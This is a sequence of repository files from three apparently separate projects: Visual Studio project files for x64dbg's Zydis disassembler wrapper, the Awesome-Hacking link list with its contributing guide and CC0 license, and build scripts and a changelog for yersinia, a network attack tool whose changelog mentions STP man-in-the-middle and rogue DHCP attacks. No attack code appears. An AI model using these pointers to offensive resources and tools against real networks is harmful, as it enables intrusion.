</ItemGroup> <ItemGroup> <ClInclude Include="zydis\include\Zydis\CommonTypes.h" /> <ClInclude Include="zydis\include\Zydis\Decoder.h" /> <ClInclude Include="zydis\include\Zydis\DecoderTypes.h" /> <ClInclude Include="zydis\include\Zydis\Defines.h" /> <ClInclude Include="zydis\include\Zydis\Formatter.h" /> <ClInclude Include="zydis\include\Zydis\MetaInfo.h" /> <ClInclude Include="zydis\include\Zydis\Mnemonic.h" /> <ClInclude Include="zydis\include\Zydis\Register.h" /> <ClInclude Include="zydis\include\Zydis\SharedTypes.h" /> <ClInclude Include="zydis\include\Zydis\Status.h" /> <ClInclude Include="zydis\include\Zydis\String.h" /> <ClInclude Include="zydis\include\Zydis\Utils.h" /> <ClInclude Include="zydis\include\Zydis\Zydis.h" /> <ClInclude Include="zydis_wrapper.h" /> </ItemGroup> <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" /> <ImportGroup Label="ExtensionTargets"> </ImportGroup> </Project>
x64dbg-development/src/zydis_wrapper/zydis_wrapper.vcxproj.filters
<?xml version="1.0" encoding="utf-8"?> <Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> <ItemGroup> <Filter Include="Source Files"> <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier> <Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions> </Filter> <Filter Include="Header Files"> <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier> <Extensions>h;hh;hpp;hxx;hm;inl;inc;xsd</Extensions> </Filter> <Filter Include="Header Files\Zydis"> <UniqueIdentifier>{0f43347f-70ba-4bf2-b8bc-ae1df066b27a}</UniqueIdentifier> </Filter> <Filter Include="Source Files\Zydis"> <UniqueIdentifier>{9b6d6e4c-4e1e-48b2-b8ba-1b926c7c7302}</UniqueIdentifier> </Filter> </ItemGroup> <ItemGroup> <ClCompile Include="zydis_wrapper.cpp"> <Filter>Source Files</Filter> </ClCompile> <ClCompile Include="zydis\src\Decoder.c"> <Filter>Source Files\Zydis</Filter> </ClCompile> <ClCompile Include="zydis\src\DecoderData.c"> <Filter>Source Files\Zydis</Filter> </ClCompile> <ClCompile Include="zydis\src\Formatter.c"> <Filter>Source Files\Zydis</Filter> </ClCompile> <ClCompile Include="zydis\src\MetaInfo.c"> <Filter>Source Files\Zydis</Filter> </ClCompile> <ClCompile Include="zydis\src\Mnemonic.c"> <Filter>Source Files\Zydis</Filter> </ClCompile> <ClCompile Include="zydis\src\Register.c"> <Filter>Source Files\Zydis</Filter> </ClCompile> <ClCompile Include="zydis\src\SharedData.c"> <Filter>Source Files\Zydis</Filter> </ClCompile> <ClCompile Include="zydis\src\Utils.c"> <Filter>Source Files\Zydis</Filter> </ClCompile> <ClCompile Include="zydis\src\Zydis.c"> <Filter>Source Files\Zydis</Filter> </ClCompile> <ClCompile Include="zydis\src\String.c"> <Filter>Source Files\Zydis</Filter> </ClCompile> </ItemGroup> <ItemGroup> <ClInclude Include="zydis_wrapper.h"> <Filter>Header Files</Filter> </ClInclude> <ClInclude Include="zydis\include\Zydis\CommonTypes.h"> <Filter>Header Files\Zydis</Filter> </ClInclude> <ClInclude Include="zydis\include\Zydis\Decoder.h"> <Filter>Header Files\Zydis</Filter> </ClInclude> <ClInclude Include="zydis\include\Zydis\DecoderTypes.h"> <Filter>Header Files\Zydis</Filter> </ClInclude> <ClInclude Include="zydis\include\Zydis\Defines.h"> <Filter>Header Files\Zydis</Filter> </ClInclude> <ClInclude Include="zydis\include\Zydis\Formatter.h"> <Filter>Header Files\Zydis</Filter> </ClInclude> <ClInclude Include="zydis\include\Zydis\MetaInfo.h"> <Filter>Header Files\Zydis</Filter> </ClInclude> <ClInclude Include="zydis\include\Zydis\Mnemonic.h"> <Filter>Header Files\Zydis</Filter> </ClInclude> <ClInclude Include="zydis\include\Zydis\Register.h"> <Filter>Header Files\Zydis</Filter> </ClInclude> <ClInclude Include="zydis\include\Zydis\SharedTypes.h"> <Filter>Header Files\Zydis</Filter> </ClInclude> <ClInclude Include="zydis\include\Zydis\Status.h"> <Filter>Header Files\Zydis</Filter> </ClInclude> <ClInclude Include="zydis\include\Zydis\Utils.h"> <Filter>Header Files\Zydis</Filter> </ClInclude> <ClInclude Include="zydis\include\Zydis\Zydis.h"> <Filter>Header Files\Zydis</Filter> </ClInclude> <ClInclude Include="zydis\include\Zydis\String.h"> <Filter>Header Files\Zydis</Filter> </ClInclude> </ItemGroup> </Project>
Markdown
Awesome-Hacking/contributing.md
# Contribution Guidelines Please follow the instructions below to make a contribution. This resource was made by the developers and hackers alike! We appreciate and recognize all [contributors](#contributors). ## Table of Content - [Adding to the list](#adding-to-the-list) - [To remove from the list](#to-remove-from-the-list) - [Contributors](#contributors) ## Adding to the List - Please add the content to the `README.md` file and make sure that the edited list is in alphabetical order. - Submit a pull request. ## Removing from the List - If you have any issues accessing any of the resources listed here, please let us know. ## Contributors - [Chandrapal](https://github.com/Chan9390) - [Madhu Akula](https://www.github.com/madhuakula) - [Derick Thomson](https://www.facebook.com/derick.thomson) (Image) - [Aleksandar Todorović](https://github.com/aleksandar-todorovic) - [Sobolev Nikita](https://github.com/sobolevn) - [Serhii Pronin](https://github.com/re-pronin) - [ReadmeCritic](https://github.com/ReadmeCritic) - [Yakup Ateş](https://github.com/y-ates) - [Alan Chang](https://github.com/tcode2k16)
Awesome-Hacking/LICENSE
CC0 1.0 Universal Statement of Purpose The laws of most jurisdictions throughout the world automatically confer exclusive Copyright and Related Rights (defined below) upon the creator and subsequent owner(s) (each and all, an "owner") of an original work of authorship and/or a database (each, a "Work"). Certain owners wish to permanently relinquish those rights to a Work for the purpose of contributing to a commons of creative, cultural and scientific works ("Commons") that the public can reliably and without fear of later claims of infringement build upon, modify, incorporate in other works, reuse and redistribute as freely as possible in any form whatsoever and for any purposes, including without limitation commercial purposes. These owners may contribute to the Commons to promote the ideal of a free culture and the further production of creative, cultural and scientific works, or to gain reputation or greater distribution for their Work in part through the use and efforts of others. For these and/or other purposes and motivations, and without any expectation of additional consideration or compensation, the person associating CC0 with a Work (the "Affirmer"), to the extent that he or she is an owner of Copyright and Related Rights in the Work, voluntarily elects to apply CC0 to the Work and publicly distribute the Work under its terms, with knowledge of his or her Copyright and Related Rights in the Work and the meaning and intended legal effect of CC0 on those rights. 1. Copyright and Related Rights. A Work made available under CC0 may be protected by copyright and related or neighboring rights ("Copyright and Related Rights"). Copyright and Related Rights include, but are not limited to, the following: i. the right to reproduce, adapt, distribute, perform, display, communicate, and translate a Work; ii. moral rights retained by the original author(s) and/or performer(s); iii. publicity and privacy rights pertaining to a person's image or likeness depicted in a Work; iv. rights protecting against unfair competition in regards to a Work, subject to the limitations in paragraph 4(a), below; v. rights protecting the extraction, dissemination, use and reuse of data in a Work; vi. database rights (such as those arising under Directive 96/9/EC of the European Parliament and of the Council of 11 March 1996 on the legal protection of databases, and under any national implementation thereof, including any amended or successor version of such directive); and vii. other similar, equivalent or corresponding rights throughout the world based on applicable law or treaty, and any national implementations thereof. 2. Waiver. To the greatest extent permitted by, but not in contravention of, applicable law, Affirmer hereby overtly, fully, permanently, irrevocably and unconditionally waives, abandons, and surrenders all of Affirmer's Copyright and Related Rights and associated claims and causes of action, whether now known or unknown (including existing as well as future claims and causes of action), in the Work (i) in all territories worldwide, (ii) for the maximum duration provided by applicable law or treaty (including future time extensions), (iii) in any current or future medium and for any number of copies, and (iv) for any purpose whatsoever, including without limitation commercial, advertising or promotional purposes (the "Waiver"). Affirmer makes the Waiver for the benefit of each member of the public at large and to the detriment of Affirmer's heirs and successors, fully intending that such Waiver shall not be subject to revocation, rescission, cancellation, termination, or any other legal or equitable action to disrupt the quiet enjoyment of the Work by the public as contemplated by Affirmer's express Statement of Purpose. 3. Public License Fallback. Should any part of the Waiver for any reason be judged legally invalid or ineffective under applicable law, then the Waiver shall be preserved to the maximum extent permitted taking into account Affirmer's express Statement of Purpose. In addition, to the extent the Waiver is so judged Affirmer hereby grants to each affected person a royalty-free, non transferable, non sublicensable, non exclusive, irrevocable and unconditional license to exercise Affirmer's Copyright and Related Rights in the Work (i) in all territories worldwide, (ii) for the maximum duration provided by applicable law or treaty (including future time extensions), (iii) in any current or future medium and for any number of copies, and (iv) for any purpose whatsoever, including without limitation commercial, advertising or promotional purposes (the "License"). The License shall be deemed effective as of the date CC0 was applied by Affirmer to the Work. Should any part of the License for any reason be judged legally invalid or ineffective under applicable law, such partial invalidity or ineffectiveness shall not invalidate the remainder of the License, and in such case Affirmer hereby affirms that he or she will not (i) exercise any of his or her remaining Copyright and Related Rights in the Work or (ii) assert any associated claims and causes of action with respect to the Work, in either case contrary to Affirmer's express Statement of Purpose. 4. Limitations and Disclaimers. a. No trademark or patent rights held by Affirmer are waived, abandoned, surrendered, licensed or otherwise affected by this document. b. Affirmer offers the Work as-is and makes no representations or warranties of any kind concerning the Work, express, implied, statutory or otherwise, including without limitation warranties of title, merchantability, fitness for a particular purpose, non infringement, or the absence of latent or other defects, accuracy, or the present or absence of errors, whether or not discoverable, all to the greatest extent permissible under applicable law. c. Affirmer disclaims responsibility for clearing rights of other persons that may apply to the Work or any use thereof, including without limitation any person's Copyright and Related Rights in the Work. Further, Affirmer disclaims responsibility for obtaining any necessary consents, permissions or other rights required for any use of the Work. d. Affirmer understands and acknowledges that Creative Commons is not a party to this document and has no duty or obligation with respect to this CC0 or use of the Work. For more information, please see <http://creativecommons.org/publicdomain/zero/1.0/>
Markdown
Awesome-Hacking/README.md
![Awesome Hacking](awesome_hacking.jpg) # [Awesome Hacking](https://github.com/Hack-with-Github/Awesome-Hacking) [![Tweet](https://img.shields.io/twitter/url/http/shields.io.svg?style=social)](https://twitter.com/intent/tweet?text=Awesome%20Hacking%20-%20a%20collection%20of%20awesome%20lists%20for%20hackers%20and%20pentesters%20by%20@HackwithGithub&url=https://github.com/Hack-with-Github/Awesome-Hacking&hashtags=security,hacking) **A collection of awesome lists for hackers, pentesters & security researchers.** Your [contributions](contributing.md) are always welcome ! ## Awesome Repositories Repository | Description ---- | ---- [Android Security](https://github.com/ashishb/android-security-awesome) | Collection of Android security related resources [AppSec](https://github.com/paragonie/awesome-appsec) | Resources for learning about application security [Asset Discovery](https://github.com/redhuntlabs/Awesome-Asset-Discovery) | List of resources which help during asset discovery phase of a security assessment engagement [Bug Bounty](https://github.com/djadmin/awesome-bug-bounty) | List of Bug Bounty Programs and write-ups from the Bug Bounty hunters [Capsulecorp Pentest](https://github.com/r3dy/capsulecorp-pentest) | Vagrant+Ansible virtual network penetration testing lab. Companion to "The Art of Network Penetration Testing" by Royce Davis [CTF](https://github.com/apsdehal/awesome-ctf) | List of CTF frameworks, libraries, resources and softwares [Cyber Skills](https://github.com/joe-shenouda/awesome-cyber-skills) | Curated list of hacking environments where you can train your cyber skills legally and safely [DevSecOps](https://github.com/devsecops/awesome-devsecops) | List of awesome DevSecOps tools with the help from community experiments and contributions [Embedded and IoT Security](https://github.com/fkie-cad/awesome-embedded-and-iot-security) | A curated list of awesome resources about embedded and IoT security [Exploit Development](https://github.com/FabioBaroni/awesome-exploit-development) | Resources for learning about Exploit Development [Fuzzing](https://github.com/secfigo/Awesome-Fuzzing) | List of fuzzing resources for learning Fuzzing and initial phases of Exploit Development like root cause analysis [Hacking](https://github.com/carpedm20/awesome-hacking) | List of awesome Hacking tutorials, tools and resources [Hacking Resources](https://github.com/vitalysim/Awesome-Hacking-Resources) | Collection of hacking / penetration testing resources to make you better! [Honeypots](https://github.com/paralax/awesome-honeypots) | List of honeypot resources [Incident Response](https://github.com/meirwah/awesome-incident-response) | List of tools for incident response [Industrial Control System Security](https://github.com/hslatman/awesome-industrial-control-system-security) | List of resources related to Industrial Control System (ICS) security [InfoSec](https://github.com/onlurking/awesome-infosec) | List of awesome infosec courses and training resources [IoT Hacks](https://github.com/nebgnahz/awesome-iot-hacks) | Collection of Hacks in IoT Space [Mainframe Hacking](https://github.com/samanL33T/Awesome-Mainframe-Hacking) | List of Awesome Mainframe Hacking/Pentesting Resources [Malware Analysis](https://github.com/rshipp/awesome-malware-analysis) | List of awesome malware analysis tools and resources [OSINT](https://github.com/jivoi/awesome-osint) | List of amazingly awesome Open Source Intelligence (OSINT) tools and resources [OSX and iOS Security](https://github.com/ashishb/osx-and-ios-security-awesome) | OSX and iOS related security tools [Pcaptools](https://github.com/caesar0301/awesome-pcaptools) | Collection of tools developed by researchers in the Computer Science area to process network traces [Pentest](https://github.com/enaqx/awesome-pentest) | List of awesome penetration testing resources, tools and other shiny things [PHP Security](https://github.com/ziadoz/awesome-php#security) | Libraries for generating secure random numbers, encrypting data and scanning for vulnerabilities [Real-time Communications hacking & pentesting resources](https://github.com/EnableSecurity/awesome-rtc-hacking) | Covers VoIP, WebRTC and VoLTE security related topics [Red Teaming](https://github.com/yeyintminthuhtut/Awesome-Red-Teaming) | List of Awesome Red Team / Red Teaming Resources [Reversing](https://github.com/fdivrp/awesome-reversing) | List of awesome reverse engineering resources [Reinforcement Learning for Cyber Security](https://github.com/Limmen/awesome-rl-for-cybersecurity) | List of awesome reinforcement learning for security resources [Sec Talks](https://github.com/PaulSec/awesome-sec-talks) | List of awesome security talks [SecLists](https://github.com/danielmiessler/SecLists) | Collection of multiple types of lists used during security assessments [Security](https://github.com/sbilly/awesome-security) | Collection of awesome software, libraries, documents, books, resources and cools stuffs about security [Serverless Security](https://github.com/puresec/awesome-serverless-security/) | Collection of Serverless security related resources [Social Engineering](https://github.com/v2-dev/awesome-social-engineering) | List of awesome social engineering resources [Static Analysis](https://github.com/mre/awesome-static-analysis) | List of static analysis tools, linters and code quality checkers for various programming languages [The Art of Hacking Series](https://github.com/The-Art-of-Hacking/h4cker) | List of resources includes thousands of cybersecurity-related references and resources [Threat Intelligence](https://github.com/hslatman/awesome-threat-intelligence) | List of Awesome Threat Intelligence resources [Vehicle Security](https://github.com/jaredthecoder/awesome-vehicle-security) | List of resources for learning about vehicle security and car hacking [Vulnerability Research](https://github.com/re-pronin/awesome-vulnerability-research) | List of resources about Vulnerability Research [Web Hacking](https://github.com/infoslack/awesome-web-hacking) | List of web application security [Windows Exploitation - Advanced](https://github.com/yeyintminthuhtut/Awesome-Advanced-Windows-Exploitation-References) | List of Awesome Advanced Windows Exploitation References [WiFi Arsenal](https://github.com/0x90/wifi-arsenal) | Pack of various useful/useless tools for 802.11 hacking [YARA](https://github.com/InQuest/awesome-yara) | List of awesome YARA rules, tools, and people [Hacker Roadmap](https://github.com/sundowndev/hacker-roadmap) | A guide for amateur pen testers and a collection of hacking tools, resources and references to practice ethical hacking. ## Other useful repositories Repository | Description ---- | ---- [Adversarial Machine Learning](https://github.com/yenchenlin/awesome-adversarial-machine-learning) | Curated list of awesome adversarial machine learning resources [AI Security](https://github.com/RandomAdversary/Awesome-AI-Security) | Curated list of AI security resources [API Security Checklist](https://github.com/shieldfy/API-Security-Checklist) | Checklist of the most important security countermeasures when designing, testing, and releasing your API [APT Notes](https://github.com/kbandla/APTnotes) | Various public documents, whitepapers and articles about APT campaigns [Bug Bounty Reference](https://github.com/ngalongc/bug-bounty-reference) | List of bug bounty write-up that is categorized by the bug nature [Cryptography](https://github.com/sobolevn/awesome-cryptography) | Cryptography resources and tools [CTF Tool](https://github.com/SandySekharan/CTF-tool) | List of Capture The Flag (CTF) frameworks, libraries, resources and softwares [CVE PoC](https://github.com/qazbnm456/awesome-cve-poc) | List of CVE Proof of Concepts (PoCs) [Detection Lab](https://github.com/clong/DetectionLab) | Vagrant & Packer scripts to build a lab environment complete with security tooling and logging best practices [Forensics](https://github.com/Cugu/awesome-forensics) | List of awesome forensic analysis tools and resources [Free Programming Books](https://github.com/EbookFoundation/free-programming-books) | Free programming books for developers [Gray Hacker Resources](https://github.com/bt3gl/Gray-Hacker-Resources) | Useful for CTFs, wargames, pentesting [GTFOBins](https://gtfobins.github.io) | A curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions [Hacker101](https://github.com/Hacker0x01/hacker101) | A free class for web security by HackerOne [Infosec Getting Started](https://github.com/gradiuscypher/infosec_getting_started) | A collection of resources, documentation, links, etc to help people learn about Infosec [Infosec Reference](https://github.com/rmusser01/Infosec_Reference) | Information Security Reference That Doesn't Suck [IOC](https://github.com/sroberts/awesome-iocs) | Collection of sources of indicators of compromise [Linux Kernel Exploitation](https://github.com/xairy/linux-kernel-exploitation) | A bunch of links related to Linux kernel fuzzing and exploitation [Lockpicking](https://github.com/meitar/awesome-lockpicking) | Resources relating to the security and compromise of locks, safes, and keys. [Machine Learning for Cyber Security](https://github.com/jivoi/awesome-ml-for-cybersecurity) | Curated list of tools and resources related to the use of machine learning for cyber security [Payloads](https://github.com/foospidy/payloads) | Collection of web attack payloads [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings) | List of useful payloads and bypass for Web Application Security and Pentest/CTF [Pentest Cheatsheets](https://github.com/coreb1t/awesome-pentest-cheat-sheets) | Collection of the cheat sheets useful for pentesting [Pentest Wiki](https://github.com/nixawk/pentest-wiki) | A free online security knowledge library for pentesters / researchers [Probable Wordlists](https://github.com/berzerk0/Probable-Wordlists) | Wordlists sorted by probability originally created for password generation and testing [Resource List](https://github.com/FuzzySecurity/Resource-List) | Collection of useful GitHub projects loosely categorised [Reverse Engineering](https://github.com/onethawt/reverseengineering-reading-list) | List of Reverse Engineering articles, books, and papers [RFSec-ToolKit](https://github.com/cn0xroot/RFSec-ToolKit) | Collection of Radio Frequency Communication Protocol Hacktools [Security Cheatsheets](https://github.com/andrewjkerr/security-cheatsheets) | Collection of cheatsheets for various infosec tools and topics [Security List](https://github.com/zbetcheckin/Security_list) | Great security list for fun and profit [Shell](https://github.com/alebcay/awesome-shell) | List of awesome command-line frameworks, toolkits, guides and gizmos to make complete use of shell [ThreatHunter-Playbook](https://github.com/Cyb3rWard0g/ThreatHunter-Playbook) | A Threat hunter's playbook to aid the development of techniques and hypothesis for hunting campaigns [Web Security](https://github.com/qazbnm456/awesome-web-security) | Curated list of Web Security materials and resources [Vulhub](https://github.com/vulhub/vulhub) | Pre-Built Vulnerable Environments Based on Docker-Compose ## Need more ? Follow **Hack with GitHub** on your favorite social media to get daily updates on interesting GitHub repositories related to Security. - Twitter : [@HackwithGithub](https://twitter.com/HackwithGithub) - Facebook : [HackwithGithub](https://www.facebook.com/HackwithGithub) ## Contributions Please have a look at [contributing.md](contributing.md)
yersinia/.gitignore
# Object files *.o *.ko *.obj *.elf *.Po # Libraries *.lib *.a # Shared objects (inc. Windows DLLs) *.dll *.so *.so.* *.dylib # Executables *.exe *.out *.app *.i*86 *.x86_64 *.hex # autoconf/automake configure Makefile Makefile.in autom4te.cache/* src/.deps compile aclocal.m4 config.* depcomp install-sh missing stamp-h1 # yersinia binaries yersinia yersinia.log src/yersinia src/yersinia.log # Coverity builds cov-int/* yersinia*.tgz
YAML
yersinia/.travis.yml
language: c compiler: - gcc - clang before_install: - sudo apt-get update -qq - sudo apt-get install -y libnet-dev libpcap-dev - sudo apt-get install -y gtk2.0 libgtk2.0-dev script: ./autogen.sh; ./configure --with-pcap-includes=/usr/include/ && make env: global: # The next declaration is the encrypted COVERITY_SCAN_TOKEN, created # via the "travis encrypt" command using the project repo's public key - secure: "XKrYVcrfhsl5jNPxkcCSlV7RT5dxXW4kAmhj5CYvubcusOE0crbiVTU6qx8F0qRh1snsmfnZ6WwXOtOkNN5fNCeoOsalOBoRQO+Tz3X9XOoZ76TqFjp2GwwVFzW+6qUKah5G0H2iJJX0ckrFLyUI4BRS8bw3kPN7T3VXzXejl/U=" addons: coverity_scan: project: name: "tomac/yersinia" description: "Build submitted via Travis CI" notification_email: [email protected] build_command_prepend: "./autogen.sh && ./configure" build_command: "make" branch_pattern: coverity_scan
M4 Macro
yersinia/acinclude.m4
dnl dnl Copyright (c) 1995, 1996, 1997, 1998 dnl The Regents of the University of California. All rights reserved. dnl dnl Redistribution and use in source and binary forms, with or without dnl modification, are permitted provided that: (1) source code distributions dnl retain the above copyright notice and this paragraph in its entirety, (2) dnl distributions including binary code include the above copyright notice and dnl this paragraph in its entirety in the documentation or other materials dnl provided with the distribution, and (3) all advertising materials mentioning dnl features or use of this software display the following acknowledgement: dnl ``This product includes software developed by the University of California, dnl Lawrence Berkeley Laboratory and its contributors.'' Neither the name of dnl the University nor the names of its contributors may be used to endorse dnl or promote products derived from this software without specific prior dnl written permission. dnl THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED dnl WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF dnl MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. dnl dnl LBL autoconf macros dnl dnl dnl Checks to see if unaligned memory accesses fail dnl dnl usage: dnl dnl AC_LBL_UNALIGNED_ACCESS dnl dnl results: dnl dnl LBL_ALIGN (DEFINED) dnl AC_DEFUN([AC_LBL_UNALIGNED_ACCESS], [AC_MSG_CHECKING(if unaligned accesses fail) AC_CACHE_VAL(ac_cv_lbl_unaligned_fail, [case "$host_cpu" in # # These are CPU types where: # # the CPU faults on an unaligned access, but at least some # OSes that support that CPU catch the fault and simulate # the unaligned access (e.g., Alpha/{Digital,Tru64} UNIX) - # the simulation is slow, so we don't want to use it; # # the CPU, I infer (from the old # # XXX: should also check that they don't do weird things (like on arm) # # comment) doesn't fault on unaligned accesses, but doesn't # do a normal unaligned fetch, either (e.g., presumably, ARM); # # for whatever reason, the test program doesn't work # (this has been claimed to be the case for several of those # CPUs - I don't know what the problem is; the problem # was reported as "the test program dumps core" for SuperH, # but that's what the test program is *supposed* to do - # it dumps core before it writes anything, so the test # for an empty output file should find an empty output # file and conclude that unaligned accesses don't work). # # This run-time test won't work if you're cross-compiling, so # in order to support cross-compiling for a particular CPU, # we have to wire in the list of CPU types anyway, as far as # I know, so perhaps we should just have a set of CPUs on # which we know it doesn't work, a set of CPUs on which we # know it does work, and have the script just fail on other # cpu types and update it when such a failure occurs. # alpha*|arm*|bfin*|hp*|mips*|sh*|sparc*|ia64|nv1) ac_cv_lbl_unaligned_fail=yes ;; *) cat >conftest.c <<EOF # include <sys/types.h> # include <sys/wait.h> # include <stdio.h> # include <stdlib.h> # include <unistd.h> unsigned char a[[5]] = { 1, 2, 3, 4, 5 }; int main(void) { unsigned int i; pid_t pid; int status; /* avoid "core dumped" message */ pid = fork(); if (pid < 0) exit(2); if (pid > 0) { /* parent */ pid = waitpid(pid, &status, 0); if (pid < 0) exit(3); exit(!WIFEXITED(status)); } /* child */ i = *(unsigned int *)&a[[1]]; printf("%d\n", i); exit(0); } EOF ${CC-cc} -o conftest $CFLAGS $CPPFLAGS $LDFLAGS \ conftest.c $LIBS >/dev/null 2>&1 if test ! -x conftest ; then dnl failed to compile for some reason ac_cv_lbl_unaligned_fail=yes else ./conftest >conftest.out if test ! -s conftest.out ; then ac_cv_lbl_unaligned_fail=yes else ac_cv_lbl_unaligned_fail=no fi fi rm -f -r conftest* core core.conftest ;; esac]) AC_MSG_RESULT($ac_cv_lbl_unaligned_fail) if test $ac_cv_lbl_unaligned_fail = yes ; then AC_DEFINE(LBL_ALIGN,1,[if unaligned access fails]) fi])
yersinia/AUTHORS
Alfredo Andres Omella <[email protected]> David Barroso Berrueta <[email protected]> http://www.yersinia.net <[email protected]>
Shell Script
yersinia/autogen.sh
#!/bin/sh # Run this to generate all the initial makefiles, etc. srcdir=`dirname $0` test -z "$srcdir" && srcdir=. DIE=0 if [ -n "$GNOME2_DIR" ]; then ACLOCAL_FLAGS="-I $GNOME2_DIR/share/aclocal $ACLOCAL_FLAGS" LD_LIBRARY_PATH="$GNOME2_DIR/lib:$LD_LIBRARY_PATH" PATH="$GNOME2_DIR/bin:$PATH" export PATH export LD_LIBRARY_PATH fi (test -f $srcdir/configure.ac) || { echo -n "**Error**: Directory "\`$srcdir\'" does not look like the" echo " top-level package directory" exit 1 } (autoconf --version) < /dev/null > /dev/null 2>&1 || { echo echo "**Error**: You must have \`autoconf' installed." echo "Download the appropriate package for your distribution," echo "or get the source tarball at ftp://ftp.gnu.org/pub/gnu/" DIE=1 } (grep "^AC_PROG_INTLTOOL" $srcdir/configure.ac >/dev/null) && { (intltoolize --version) < /dev/null > /dev/null 2>&1 || { echo echo "**Error**: You must have \`intltool' installed." echo "You can get it from:" echo " ftp://ftp.gnome.org/pub/GNOME/" DIE=1 } } (grep "^AM_PROG_XML_I18N_TOOLS" $srcdir/configure.ac >/dev/null) && { (xml-i18n-toolize --version) < /dev/null > /dev/null 2>&1 || { echo echo "**Error**: You must have \`xml-i18n-toolize' installed." echo "You can get it from:" echo " ftp://ftp.gnome.org/pub/GNOME/" DIE=1 } } (grep "^AM_PROG_LIBTOOL" $srcdir/configure.ac >/dev/null) && { (libtool --version) < /dev/null > /dev/null 2>&1 || { echo echo "**Error**: You must have \`libtool' installed." echo "You can get it from: ftp://ftp.gnu.org/pub/gnu/" DIE=1 } } (grep "^AM_GLIB_GNU_GETTEXT" $srcdir/configure.ac >/dev/null) && { (grep "sed.*POTFILES" $srcdir/configure.ac) > /dev/null || \ (glib-gettextize --version) < /dev/null > /dev/null 2>&1 || { echo echo "**Error**: You must have \`glib' installed." echo "You can get it from: ftp://ftp.gtk.org/pub/gtk" DIE=1 } } (automake --version) < /dev/null > /dev/null 2>&1 || { echo echo "**Error**: You must have \`automake' installed." echo "You can get it from: ftp://ftp.gnu.org/pub/gnu/" DIE=1 NO_AUTOMAKE=yes } # if no automake, don't bother testing for aclocal test -n "$NO_AUTOMAKE" || (aclocal --version) < /dev/null > /dev/null 2>&1 || { echo echo "**Error**: Missing \`aclocal'. The version of \`automake'" echo "installed doesn't appear recent enough." echo "You can get automake from ftp://ftp.gnu.org/pub/gnu/" DIE=1 } if test "$DIE" -eq 1; then exit 1 fi if test -z "$*"; then echo "**Warning**: I am going to run \`configure' with no arguments." echo "If you wish to pass any to it, please specify them on the" echo \`$0\'" command line." echo fi case $CC in xlc ) am_opt=--include-deps;; esac for coin in `find $srcdir -name configure.ac -print` do dr=`dirname $coin` if test -f $dr/NO-AUTO-GEN; then echo skipping $dr -- flagged as no auto-gen else echo processing $dr ( cd $dr aclocalinclude="$ACLOCAL_FLAGS" if grep "^AM_GLIB_GNU_GETTEXT" configure.ac >/dev/null; then echo "Creating $dr/aclocal.m4 ..." test -r $dr/aclocal.m4 || touch $dr/aclocal.m4 echo "Running glib-gettextize... Ignore non-fatal messages." echo "no" | glib-gettextize --force --copy echo "Making $dr/aclocal.m4 writable ..." test -r $dr/aclocal.m4 && chmod u+w $dr/aclocal.m4 fi if grep "^AC_PROG_INTLTOOL" configure.ac >/dev/null; then echo "Running intltoolize..." intltoolize --copy --force --automake fi if grep "^AM_PROG_XML_I18N_TOOLS" configure.ac >/dev/null; then echo "Running xml-i18n-toolize..." xml-i18n-toolize --copy --force --automake fi if grep "^AM_PROG_LIBTOOL" configure.ac >/dev/null; then if test -z "$NO_LIBTOOLIZE" ; then echo "Running libtoolize..." libtoolize --force --copy fi fi echo "Running aclocal $aclocalinclude ..." aclocal $aclocalinclude if grep "^AM_CONFIG_HEADER" configure.ac >/dev/null; then echo "Running autoheader..." autoheader fi echo "Running automake --gnu $am_opt ..." automake --add-missing --gnu $am_opt echo "Running autoconf ..." autoconf ) fi done #conf_flags="--enable-maintainer-mode" if test x$NOCONFIGURE = x; then echo Running $srcdir/configure $conf_flags "$@" ... $srcdir/configure $conf_flags "$@" \ && echo Now type \`make\' to compile. || exit 1 else echo Skipping configure process. fi
yersinia/borra
#!/bin/sh rm -f *~ configure config.cache config.log config.h config.h.in src/config.h src/config.h.in rm -f config.status Makefile.in Makefile src/Makefile src/Makefile.in rm -rf autom4te.cache src/*.tar src/*.tar.gz src/*.tar.Z src/*.o src/yersinia src/*~
yersinia/ChangeLog
CHANGES for Yersinia ==================== 2017/08/24 ---------- - Version 0.8.2 - FIX: CL: Fix reversed use of IP addresses parameters on command line, issue #44 2017/08/24 ---------- - Version 0.8.1 - Fixed critical bug using invalid network interfaces (appeared initially with STP MiTM attack), issue #41 2017/08/23 ---------- - Version 0.8.0 - Changed email addresses - More code cleaning (renamed internal attack structures, removed cvs variable, ...) - GTK: Reworked attack dialogs - FIX: DHCP: Fixed "rogue server" attack, issue #12 - FIX: GTK: Memory leak using attack parameters, issue #38 - FIX: GTK: Attack parameters dialog was unable to close when launching an attack, issue #39 - FIX: GTK: Closing main window with the close button doesn't work, #36 - FIX: GTK: Out of bounds access refreshing main window, issue #35 2017/08/11 ---------- - Version 0.8.0beta1 - Cleaned up some code (removed unused variables and macros, fixed compiler warnings, changed logging...) - FIX: Error searching for pcap folder, thanks to digininja - FIX: Changed pcap filter for sniffing of 802.1Q packets, issue #27 - FIX: CDP: Bad pointer usage, issue #14 - FIX: STP: Bad crafting of TCN packet, issue #32 - FIX: GTK: Bug on write_log that leads to random crashes, issue #9 - FIX: GTK: Usage of NULL variable using right click, issue #6 - FIX: GTK: Packet counters update, issue #26 - FIX: GTK: Add missing argument in function, issues #19, #20, #21, #22, #23 and #28 - FIX: GTK: Using nonexistant widget throws a critical error, issue #16 - FIX: GTK: Unable to close About window using the close button, issue #17 - FIX: GTK: Some toggled menues (MAC spoofing and others) don't work, issue #29 - FIX: GTK: Out of bound access on protocols array from buttons "Clear stats" and "Edit", issue #30 - FIX: GTK: Out of bound access on protocols array from button "Load default", issue #31 - FIX: GTK: Bad usage of attacks index, issues #24 and #25 2013/08/21 ---------- - Version 0.7.3 - Fixed our pretty big issue with network interfacces under Linux. :) - Fixed pcap_compile error. - Refactoring a little bit of interfaces.c 2007/05/01 ---------- - Version 0.7.2 - 